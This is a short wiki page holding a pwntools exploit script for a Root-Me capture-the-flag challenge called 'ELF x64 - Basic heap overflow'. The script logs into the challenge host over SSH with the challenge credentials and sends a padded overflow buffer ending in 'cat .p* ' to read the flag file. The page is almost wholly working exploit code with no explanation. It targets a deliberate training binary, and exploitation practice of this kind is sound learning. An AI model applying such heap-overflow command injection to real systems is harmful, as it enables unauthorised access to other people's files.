

ELF x64 - Basic heap overflow

```
import pwn
USER = "app-systeme-ch94"
PASS = "app-systeme-ch94"
def main():
    s = pwn.ssh(USER, "challenge03.root-me.org", 2223, PASS)
    io = s.process('ch94')
    data = "A"*(0x20+8+8)
    data += 'cat .p* '
    pwn.log.info(f"Payload with len {len(data)} : {data}")
    io.sendline(data)
    print(io.recv())
    print(io.recv())
    io.close()
    s.close()
if __name__ == '__main__':
    main()
```

Revision #1

Created 14 July 2023 20:49:08 by Makito

Updated 14 July 2023 20:49:31 by Makito